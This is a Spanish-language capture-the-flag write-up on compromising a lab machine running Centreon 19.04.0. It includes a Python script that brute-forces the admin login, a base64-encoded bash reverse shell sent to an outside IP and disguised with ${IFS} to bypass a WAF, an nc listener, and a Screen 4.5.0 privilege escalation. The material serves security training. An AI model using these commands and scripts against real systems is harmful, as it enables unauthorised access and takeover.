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0. Introducción 
En esta máquina, aprenderemos a evadir las medidas de un WAF que nos impide ejecutar 

ciertos comandos. 

También veremos una forma de escalar privilegios, aprovechándonos de una versión del 

programa Screen (v.4.5.0). 

 

1. Enumeración 
Ejecutamos un ping contra la IP de la máquina víctima y obtenemos un TTL de 63. Por tanto, 

podemos pensar que la máquina víctima tiene un sistema operativo Linux.  

Realizando un análisis de puertos abiertos, obtenemos lo siguiente: 

 

Si comprobamos el launchpad, parece que nos estamos enfrentando a una máquina Ubuntu 

Bionic. Cuando consigamos el acceso a la máquina, comprobaremos si es cierto. 
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Dado que carecemos de credenciales para entrar por SSH, vamos a analizar el puerto 80 

(HTTP). Empezamos con whatweb. 

 

Nos dirige a la página web de por defecto de Apache Ubuntu. Vamos a “fuzzear”. 

 

Encontramos el directorio “monitoring”, que nos piden credenciales. Es un sistema 

denominado autenticación básica de apache. Podemos intentar hacer un pequeño bypass con 

Burpsuite. Capturamos la respuesta y la mandamos al “Repeater”. 

 

¡Ummm! Centreon. Es un sistema de monitorización basado en Nagios. Lo conozco, he trabajo 

con él. Comprobamos si se abre la web de gestión.  
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2. Explotación y acceso. 

 

Nos fijamos en la versión (19.04.0). Vamos a comprobar si existe alguna vulnerabilidad.

 

¡Vaya! Pues hemos tenido suerte. Pero primero debemos conocer unas credenciales de acceso 

para poder explotar. ¿Serán válidas las de por defecto? Según hemos investigado en Google, 

por defecto las credenciales son admin/centreon. 

 

Parece que no funcionan. Vamos a ver como se ejecuta la petición en nuestro amigo burpsuite. 

Está añadiendo un token, que varia en cada petición. 

 

 

Es bueno saber este dato, ya que quiero intentar “bruteforcear” para conseguir la password. 

Nos escribimos el siguiente código. 

bruteforce.py 
 

#/usr/bin/python3 
 
import requests 
from bs4 import BeautifulSoup 
 
# URL a la que vamos a lnzar la peticion 
url = 'http://10.10.10.157/centreon/index.php' 
 
s = requests.session() 
 
def sendRequests(username, password): 
        page = s.get(url) 
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        # Beautiful Soup biblioteca de Python para analizar documentos HTML 
        soup = BeautifulSoup(page.content, 'html.parser') 
 
        # Guardamos el token para poder  usarlo posteriormente. 
        token = soup.find('input', attrs = { 'name' : 'centreon_token' })['value'] 
 
        # Componemos la data de nuestra peticion. 
        data = { 'useralias' : username, 'password' : password, 'submitLogin' : 
        'Connect', 'centreon_token' : token } 
 
        response = s.post(url, data = data) 
 
        if 'incorrect' not in response.text: 
                # Cuando encontremos la password paramos la busqueda 
                print("Credenciales encontradas {}:{}".format(username, password)) 
                return 1  
 
 
with open('/usr/share/seclists/Passwords/darkweb2017-top10000.txt') as wordlist: 
        for word in wordlist: 
                #Guardamos la variable, quitando espacios, etc. 
                password = word.rstrip() 
                print("[*] Probando: {}".format(password)) 
                resultado=sendRequests('admin',password) 
                if  resultado == 1: 
                        break 

 

Ejecutamos el script y obtenemos las siguientes credenciales: 
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Vamos a comprobarlo en la web y efectivamente, entramos. 

 

 

Ahora que tenemos credenciales, intentamos ejecutar el exploit. Sin embargo, aunque se 

ejecuta, no conseguimos que nos dé una “reverse shell”. Vamos a analizar lo que hace el 

exploit, para intentar ver qué está fallando. 

 

Por lo que vemos accede a la web, …/main.get.php?p=60901 y rellena el campo nagios_bin.

 

Navegamos a la web, y probamos a realizar los cambios de forma manual. Nos da un 

“forbiden”, puede haber algún tipo de WAF? 
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Vamos a intentar “bypassear” el control evadiendo ese WAF. Para ello vamos codificar nuestra 

revershell en base64 de la siguiente forma: 

 

 

Ahora, el comando que queremos ejecutar en Centreon, debe tener una decodificación antes 

de su ejecución. Como el comando tiene espacios, para que no den problemas, debemos usar 

“${IFS}”. Es como el %20 en la codificación URL. 

• echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42My80NDQ0IDA+JjEK|base

64${IFS}-d|bash; 

Pero por alguna razón no conseguimos acceso, aunque no nos de error. Probamos metiendo 

directamente el código en el exploit. 

 

 

Nos ponemos en escucha con rlwrap (nos evitaremos hacer el tratamiento de la TTY) y 

ejecutamos el exploit. 

• rlwrap nc -nlvp 4444 

 

Ahora mismo estamos con el usuario www-data.  
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3. Escalada de privilegios 
Comprobamos que efectivamente estamos ante una máquina con una versión de Ubuntu 

Bionic, tal y como habíamos visto investigando el launchpad.  

 

Realizamos un reconocimiento sobre los ficheros en los que tenemos permisos de SUID, y nos 

llama la atención screen-4.5.0. 

 

Buscamos si tiene vulnerabilidades y justo nos ofrece una forma de escalar privilegios. 

 

Nos copiamos el script a la máquina víctima, en el directorio /tmp/ y lo ejecutamos. Con esto, 

hemos conseguido ser root. 
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